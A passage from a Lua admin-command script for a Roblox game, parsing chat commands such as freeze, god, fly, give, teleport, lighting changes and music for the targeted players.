  1040. end
  1041. end))
  1042. end
  1043. end
  1044.  
  1045. if msg:lower():sub(1,8) == "unsmoke " then
  1046. local plrz = GetPlr(plr, msg:lower():sub(9))
  1047. for i, v in pairs(plrz) do
  1048. coroutine.resume(coroutine.create(function()
  1049. if v and v.Character and v.Character:findFirstChild("Torso") then
  1050. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1051. end
  1052. end))
  1053. end
  1054. end
  1055.  
  1056. if msg:lower():sub(1,9) == "sparkles " then
  1057. local plrz = GetPlr(plr, msg:lower():sub(10))
  1058. for i, v in pairs(plrz) do
  1059. coroutine.resume(coroutine.create(function()
  1060. if v and v.Character and v.Character:findFirstChild("Torso") then
  1061. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1062. end
  1063. end))
  1064. end
  1065. end
  1066.  
  1067. if msg:lower():sub(1,11) == "unsparkles " then
  1068. local plrz = GetPlr(plr, msg:lower():sub(12))
  1069. for i, v in pairs(plrz) do
  1070. coroutine.resume(coroutine.create(function()
  1071. if v and v.Character and v.Character:findFirstChild("Torso") then
  1072. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1073. end
  1074. end))
  1075. end
  1076. end
  1077.  
  1078. if msg:lower():sub(1,3) == "ff " then
  1079. local plrz = GetPlr(plr, msg:lower():sub(4))
  1080. for i, v in pairs(plrz) do
  1081. coroutine.resume(coroutine.create(function()
  1082. if v and v.Character then Instance.new("ForceField", v.Character) end
  1083. end))
  1084. end
  1085. end
  1086.  
  1087. if msg:lower():sub(1,5) == "unff " then
  1088. local plrz = GetPlr(plr, msg:lower():sub(6))
  1089. for i, v in pairs(plrz) do
  1090. coroutine.resume(coroutine.create(function()
  1091. if v and v.Character then
  1092. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1093. end
  1094. end))
  1095. end
  1096. end
  1097.  
  1098. if msg:lower():sub(1,7) == "punish " then
  1099. local plrz = GetPlr(plr, msg:lower():sub(8))
  1100. for i, v in pairs(plrz) do
  1101. coroutine.resume(coroutine.create(function()
  1102. if v and v.Character then
  1103. v.Character.Parent = game:service("Lighting")
  1104. end
  1105. end))
  1106. end
  1107. end
  1108.  
  1109. if msg:lower():sub(1,9) == "unpunish " then
  1110. local plrz = GetPlr(plr, msg:lower():sub(10))
  1111. for i, v in pairs(plrz) do
  1112. coroutine.resume(coroutine.create(function()
  1113. if v and v.Character then
  1114. v.Character.Parent = game:service("Workspace")
  1115. v.Character:MakeJoints()
  1116. end
  1117. end))
  1118. end
  1119. end
  1120.  
  1121. if msg:lower():sub(1,7) == "freeze " then
  1122. local plrz = GetPlr(plr, msg:lower():sub(8))
  1123. for i, v in pairs(plrz) do
  1124. coroutine.resume(coroutine.create(function()
  1125. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1126. for a, obj in pairs(v.Character:children()) do
  1127. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1128. end
  1129. end
  1130. end))
  1131. end
  1132. end
  1133.  
  1134. if msg:lower():sub(1,5) == "thaw " then
  1135. local plrz = GetPlr(plr, msg:lower():sub(6))
  1136. for i, v in pairs(plrz) do
  1137. coroutine.resume(coroutine.create(function()
  1138. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1139. for a, obj in pairs(v.Character:children()) do
  1140. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1141. end
  1142. end
  1143. end))
  1144. end
  1145. end
  1146.  
  1147. if msg:lower():sub(1,5) == "heal " then
  1148. local plrz = GetPlr(plr, msg:lower():sub(6))
  1149. for i, v in pairs(plrz) do
  1150. coroutine.resume(coroutine.create(function()
  1151. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1152. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1153. end
  1154. end))
  1155. end
  1156. end
  1157.  
  1158. if msg:lower():sub(1,4) == "god " then
  1159. local plrz = GetPlr(plr, msg:lower():sub(5))
  1160. for i, v in pairs(plrz) do
  1161. coroutine.resume(coroutine.create(function()
  1162. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1163. v.Character.Humanoid.MaxHealth = math.huge
  1164. v.Character.Humanoid.Health = 9e9
  1165. end
  1166. end))
  1167. end
  1168. end
  1169.  
  1170. if msg:lower():sub(1,6) == "ungod " then
  1171. local plrz = GetPlr(plr, msg:lower():sub(7))
  1172. for i, v in pairs(plrz) do
  1173. coroutine.resume(coroutine.create(function()
  1174. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1175. v.Character.Humanoid.MaxHealth = 100
  1176. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1177. end
  1178. end))
  1179. end
  1180. end
  1181.  
  1182. if msg:lower():sub(1,8) == "ambient " then
  1183. local chk1 = msg:lower():sub(9):find(" ") + 8
  1184. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1185. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1186. end
  1187.  
  1188. if msg:lower():sub(1,11) == "brightness " then
  1189. game.Lighting.Brightness = msg:sub(12)
  1190. end
  1191.  
  1192. if msg:lower():sub(1,5) == "time " then
  1193. game.Lighting.TimeOfDay = msg:sub(6)
  1194. end
  1195.  
  1196. if msg:lower():sub(1,9) == "fogcolor " then
  1197. local chk1 = msg:lower():sub(10):find(" ") + 9
  1198. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1199. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1200. end
  1201.  
  1202. if msg:lower():sub(1,7) == "fogend " then
  1203. game.Lighting.FogEnd = msg:sub(8)
  1204. end
  1205.  
  1206. if msg:lower():sub(1,9) == "fogstart " then
  1207. game.Lighting.FogStart = msg:sub(10)
  1208. end
  1209.  
  1210. if msg:lower():sub(1,7) == "btools " then
  1211. local plrz = GetPlr(plr, msg:lower():sub(8))
  1212. for i, v in pairs(plrz) do
  1213. coroutine.resume(coroutine.create(function()
  1214. if v and v:findFirstChild("Backpack") then
  1215. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1216. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1217. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1218. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1219. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1220. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1221. local sb
  1222. local hs
  1223. local pdist
  1224.  
  1225. script.Parent.Selected:connect(function(mouse)
  1226. if not mouse then return end
  1227. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1228. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1229. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1230. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1231. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1232. end)
  1233.  
  1234. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1235. end
  1236. end))
  1237. end
  1238. end
  1239.  
  1240. if msg:lower():sub(1,12) == "startergive " then
  1241. local chk1 = msg:lower():sub(13):find(" ") + 12
  1242. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1243. for i, v in pairs(plrz) do
  1244. coroutine.resume(coroutine.create(function()
  1245. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1246. for a, tool in pairs(game.Lighting:children()) do
  1247. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1248. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1249. end
  1250. end
  1251. end
  1252. end))
  1253. end
  1254. end
  1255.  
  1256. if msg:lower():sub(1,5) == "give " then
  1257. local chk1 = msg:lower():sub(6):find(" ") + 5
  1258. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1259. for i, v in pairs(plrz) do
  1260. coroutine.resume(coroutine.create(function()
  1261. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1262. for a, tool in pairs(game.Lighting:children()) do
  1263. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1264. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1265. end
  1266. end
  1267. end
  1268. end))
  1269. end
  1270. end
  1271.  
  1272. if msg:lower():sub(1,12) == "removetools " then
  1273. local plrz = GetPlr(plr, msg:lower():sub(13))
  1274. for i, v in pairs(plrz) do
  1275. coroutine.resume(coroutine.create(function()
  1276. if v and v.Character and v:findFirstChild("Backpack") then
  1277. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1278. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1279. end
  1280. end))
  1281. end
  1282. end
  1283.  
  1284. if msg:lower():sub(1,5) == "rank " then
  1285. local chk1 = msg:lower():sub(6):find(" ") + 5
  1286. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1287. for i, v in pairs(plrz) do
  1288. coroutine.resume(coroutine.create(function()
  1289. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1290. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1291. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1292. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1293. end
  1294. end))
  1295. end
  1296. end
  1297.  
  1298. if msg:lower():sub(1,7) == "damage " then
  1299. local chk1 = msg:lower():sub(8):find(" ") + 7
  1300. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1301. for i, v in pairs(plrz) do
  1302. coroutine.resume(coroutine.create(function()
  1303. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1304. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1305. end
  1306. end))
  1307. end
  1308. end
  1309.  
  1310. if msg:lower():sub(1,5) == "grav " then
  1311. local plrz = GetPlr(plr, msg:lower():sub(6))
  1312. for i, v in pairs(plrz) do
  1313. coroutine.resume(coroutine.create(function()
  1314. if v and v.Character and v.Character:findFirstChild("Torso") then
  1315. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1316. end
  1317. end))
  1318. end
  1319. end
  1320.  
  1321. if msg:lower():sub(1,8) == "setgrav " then
  1322. local chk1 = msg:lower():sub(9):find(" ") + 8
  1323. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1324. for i, v in pairs(plrz) do
  1325. coroutine.resume(coroutine.create(function()
  1326. if v and v.Character and v.Character:findFirstChild("Torso") then
  1327. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1328. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1329. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1330. end
  1331. end))
  1332. end
  1333. end
  1334.  
  1335. if msg:lower():sub(1,7) == "nograv " then
  1336. local plrz = GetPlr(plr, msg:lower():sub(8))
  1337. for i, v in pairs(plrz) do
  1338. coroutine.resume(coroutine.create(function()
  1339. if v and v.Character and v.Character:findFirstChild("Torso") then
  1340. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1341. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1342. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1343. end
  1344. end))
  1345. end
  1346. end
  1347.  
  1348. if msg:lower():sub(1,7) == "health " then
  1349. local chk1 = msg:lower():sub(8):find(" ") + 7
  1350. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1351. for i, v in pairs(plrz) do
  1352. coroutine.resume(coroutine.create(function()
  1353. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1354. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1355. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1356. end
  1357. end))
  1358. end
  1359. end
  1360.  
  1361. if msg:lower():sub(1,6) == "speed " then
  1362. local chk1 = msg:lower():sub(7):find(" ") + 6
  1363. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1364. for i, v in pairs(plrz) do
  1365. coroutine.resume(coroutine.create(function()
  1366. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1367. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1368. end
  1369. end))
  1370. end
  1371. end
  1372.  
  1373. if msg:lower():sub(1,5) == "team " then
  1374. local chk1 = msg:lower():sub(6):find(" ") + 5
  1375. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1376. for i, v in pairs(plrz) do
  1377. coroutine.resume(coroutine.create(function()
  1378. if v and game:findFirstChild("Teams") then
  1379. for a, tm in pairs(game.Teams:children()) do
  1380. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1381. end
  1382. end
  1383. end))
  1384. end
  1385. end
  1386.  
  1387. if msg:lower():sub(1,6) == "place " then
  1388. local chk1 = msg:lower():sub(7):find(" ") + 6
  1389. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1390. for i, v in pairs(plrz) do
  1391. coroutine.resume(coroutine.create(function()
  1392. if v and v:findFirstChild("PlayerGui") then
  1393. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1394. end
  1395. end))
  1396. end
  1397. end
  1398.  
  1399. if msg:lower():sub(1,3) == "tp " then
  1400. local chk1 = msg:lower():sub(4):find(" ") + 3
  1401. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1402. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1403. for i, v in pairs(plrz) do
  1404. coroutine.resume(coroutine.create(function()
  1405. for i2, v2 in pairs(plrz2) do
  1406. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1407. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1408. end
  1409. end
  1410. end))
  1411. end
  1412. end
  1413.  
  1414. if msg:lower():sub(1,7) == "change " then
  1415. local chk1 = msg:lower():sub(8):find(" ") + 7
  1416. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1417. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1418. for i, v in pairs(plrz) do
  1419. coroutine.resume(coroutine.create(function()
  1420. if v and v:findFirstChild("leaderstats") then
  1421. for a, st in pairs(v.leaderstats:children()) do
  1422. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1423. end
  1424. end
  1425. end))
  1426. end
  1427. end
  1428.  
  1429. if msg:lower():sub(1,6) == "shirt " then
  1430. local chk1 = msg:lower():sub(7):find(" ") + 6
  1431. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1432. for i, v in pairs(plrz) do
  1433. coroutine.resume(coroutine.create(function()
  1434. if v and v.Character then
  1435. for i,v in pairs(v.Character:children()) do
  1436. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1437. end
  1438. end
  1439. end))
  1440. end
  1441. end
  1442.  
  1443. if msg:lower():sub(1,6) == "pants " then
  1444. local chk1 = msg:lower():sub(7):find(" ") + 6
  1445. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1446. for i, v in pairs(plrz) do
  1447. coroutine.resume(coroutine.create(function()
  1448. if v and v.Character then
  1449. for i,v in pairs(v.Character:children()) do
  1450. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1451. end
  1452. end
  1453. end))
  1454. end
  1455. end
  1456.  
  1457. if msg:lower():sub(1,5) == "face " then
  1458. local chk1 = msg:lower():sub(6):find(" ") + 5
  1459. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1460. for i, v in pairs(plrz) do
  1461. coroutine.resume(coroutine.create(function()
  1462. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1463. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1464. end
  1465. end))
  1466. end
  1467. end
  1468.  
  1469. ---------------------
  1470. -- FunCommands --
  1471. ---------------------
  1472. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1473.  
  1474. if msg:lower():sub(1,8) == "swagify " then
  1475. local plrz = GetPlr(plr, msg:lower():sub(9))
  1476. for i, v in pairs(plrz) do
  1477. coroutine.resume(coroutine.create(function()
  1478. if v and v.Character then
  1479. for i,v in pairs(v.Character:children()) do
  1480. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1481. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1482. end
  1483. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1484. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1485. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1486. local torso = plr.Character.Torso
  1487. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1488. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1489. p.Size = Vector3.new(.2,.2,.2)
  1490. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1491. local motor1 = Instance.new("Motor", p)
  1492. motor1.Part0 = p
  1493. motor1.Part1 = torso
  1494. motor1.MaxVelocity = .01
  1495. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1496. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1497. local wave = false
  1498. repeat wait(1/44)
  1499. local ang = 0.1
  1500. local oldmag = torso.Velocity.magnitude
  1501. local mv = .002
  1502. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1503. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1504. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1505. motor1.DesiredAngle = -ang
  1506. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1507. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1508. if torso.Velocity.magnitude < .1 then wait(.1) end
  1509. until not p or p.Parent ~= torso.Parent
  1510. script:Destroy()
  1511. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1512. end
  1513. end))
  1514. end
  1515. end
  1516.  
  1517. if msg:lower():sub(1,6) == "music " then
  1518. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1519. local id = msg:sub(7)
  1520. local pitch = 1
  1521. if tostring(id):lower():find("caramell") then id = 2303479 end
  1522. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1523. if tostring(id):find("rick") then id = 2027611 end
  1524. if tostring(id):find("halo") then id = 1034065 end
  1525. if tostring(id):find("pokemon") then id = 1372261 end
  1526. if tostring(id):find("cursed") then id = 1372257 end
  1527. if tostring(id):find("extreme") then id = 11420933 end
  1528. if tostring(id):find("awaken") then id = 27697277 end
  1529. if tostring(id):find("alone") then id = 27697392 end
  1530. if tostring(id):find("mario") then id = 1280470 end
  1531. if tostring(id):find("choir") then id = 1372258 end
  1532. if tostring(id):find("chrono") then id = 1280463 end
  1533. if tostring(id):find("dotr") then id = 11420922 end
  1534. if tostring(id):find("entertain") then id = 27697267 end
  1535. if tostring(id):find("fantasy") then id = 1280473 end
  1536. if tostring(id):find("final") then id = 1280414 end
  1537. if tostring(id):find("emblem") then id = 1372259 end
  1538. if tostring(id):find("flight") then id = 27697719 end
  1539. if tostring(id):find("banjo") then id = 27697298 end
  1540. if tostring(id):find("gothic") then id = 27697743 end
  1541. if tostring(id):find("hiphop") then id = 27697735 end
  1542. if tostring(id):find("intro") then id = 27697707 end
  1543. if tostring(id):find("mule") then id = 1077604 end
  1544. if tostring(id):find("film") then id = 27697713 end
  1545. if tostring(id):find("nezz") then id = 8610025 end
  1546. if tostring(id):find("angel") then id = 1372260 end
  1547. if tostring(id):find("resist") then id = 27697234 end
  1548. if tostring(id):find("schala") then id = 5985787 end
  1549. if tostring(id):find("organ") then id = 11231513 end
  1550. if tostring(id):find("tunnel") then id = 9650822 end
  1551. if tostring(id):find("spanish") then id = 5982975 end
  1552. if tostring(id):find("venom") then id = 1372262 end
  1553. if tostring(id):find("wind") then id = 1015394 end
  1554. if tostring(id):find("guitar") then id = 5986151 end
  1555. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1556. end
  1557.  
  1558. if msg:lower() == "stopmusic" then
  1559. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1560. end
  1561.  
  1562. if msg:lower() == "musiclist" then
  1563. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1564. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1565. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1566. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1567. end
  1568.  
  1569. if msg:lower():sub(1,4) == "fly " then
  1570. local plrz = GetPlr(plr, msg:lower():sub(5))
  1571. for i, v in pairs(plrz) do
  1572. coroutine.resume(coroutine.create(function()
  1573. if v and v:findFirstChild("PlayerGui") then
  1574. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1575. local mouse = game.Players.LocalPlayer:GetMouse()
  1576. repeat wait() until mouse
  1577. local plr = game.Players.LocalPlayer
  1578. local torso = plr.Character.Torso
  1579. local flying = true
  1580. local deb = true
  1581. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1582. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1583. local maxspeed = 50
  1584. local speed = 0
  1585. function Fly()
  1586. local bg = Instance.new("BodyGyro", torso)
  1587. bg.P = 9e4
  1588. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1589. bg.cframe = torso.CFrame
  1590. local bv = Instance.new("BodyVelocity", torso)
  1591. bv.velocity = Vector3.new(0,0.1,0)
  1592. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1593. repeat wait()
  1594. plr.Character.Humanoid.PlatformStand = true
  1595. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1596. speed = speed+.5+(speed/maxspeed)
  1597. if speed > maxspeed then
  1598. speed = maxspeed
  1599. end
  1600. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1601. speed = speed-1
  1602. if speed < 0 then
  1603. speed = 0
  1604. end
  1605. end
  1606. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1607. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1608. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1609. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1610. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1611. else
  1612. bv.velocity = Vector3.new(0,0.1,0)
  1613. end
  1614. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1615. until not flying
  1616. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1617. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1618. speed = 0
  1619. bg:Destroy()
  1620. bv:Destroy()
  1621. plr.Character.Humanoid.PlatformStand = false
  1622. end
  1623. mouse.KeyDown:connect(function(key)
  1624. if key:lower() == "e" then
  1625. if flying then flying = false
  1626. else
  1627. flying = true
  1628. Fly()
  1629. end
  1630. elseif key:lower() == "w" then
  1631. ctrl.f = 1
  1632. elseif key:lower() == "s" then
  1633. ctrl.b = -1
  1634. elseif key:lower() == "a" then
  1635. ctrl.l = -1
  1636. elseif key:lower() == "d" then
  1637. ctrl.r = 1
  1638. end
  1639. end)
  1640. mouse.KeyUp:connect(function(key)
  1641. if key:lower() == "w" then
  1642. ctrl.f = 0
  1643. elseif key:lower() == "s" then
  1644. ctrl.b = 0
  1645. elseif key:lower() == "a" then
  1646. ctrl.l = 0
  1647. elseif key:lower() == "d" then
  1648. ctrl.r = 0
  1649. end
  1650. end)
  1651. Fly()]]
  1652. cl.Parent = v.PlayerGui cl.Disabled = false
  1653. end
  1654. end))
  1655. end
  1656. end
  1657.  
  1658. if msg:lower():sub(1,6) == "unfly " then
  1659. local plrz = GetPlr(plr, msg:lower():sub(7))
  1660. for i, v in pairs(plrz) do
  1661. coroutine.resume(coroutine.create(function()
  1662. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1663. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1664. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1665. wait(.1) v.Character.Humanoid.PlatformStand = false
  1666. end
  1667. end))
  1668. end
  1669. end
  1670.  
  1671. if msg:lower() == "disco" then
  1672. for i, v in pairs(lobjs) do v:Destroy() end
  1673. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1674. game.Lighting.Ambient = color
  1675. game.Lighting.FogColor = color
  1676. until nil]]
  1677. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1678. end
  1679.  
  1680. if msg:lower() == "flash" then
  1681. for i, v in pairs(lobjs) do v:Destroy() end
  1682. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1683. game.Lighting.Ambient = Color3.new(1,1,1)
